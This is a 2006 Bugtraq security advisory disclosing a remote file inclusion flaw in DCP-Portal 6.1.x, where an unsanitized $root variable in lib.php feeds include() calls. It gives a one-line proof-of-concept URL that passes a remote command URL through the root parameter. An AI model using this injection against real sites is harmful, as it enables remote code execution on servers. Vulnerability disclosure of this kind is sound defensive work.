bugtraq - DCP-Portal 6.1.x, Remote command execution

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Date: Mon, 12 Jun 2006 09:38:49 +0200
From: Federico Fazzi <federico@...istici.org>
To: secunia-vuln-report <vuln@...unia.com>,
	bugtraq@...urityfocus.com, securiteam <news@...uriteam.com>
Subject: DCP-Portal 6.1.x, Remote command execution


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- -----------------------------------------------------
Advisory id: FSA:013

Author:    Federico Fazzi
Date:	   12/06/2006, 9:31
Sinthesis: DCP-Portal 6.1.x, Remote command execution
Type:	   high
Product:   http://www.dcp-portal.org/
Patch:	   unavailable
- -----------------------------------------------------


1) Description:

Error occured in lib.php, line 4/7:

include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");

variable $root not sanitized (declare).

2) Proof of concept:

http://example/[dp_path]/library/lib.php?root=[cmd_url]

3) Solution:

declare $root variable on this file.
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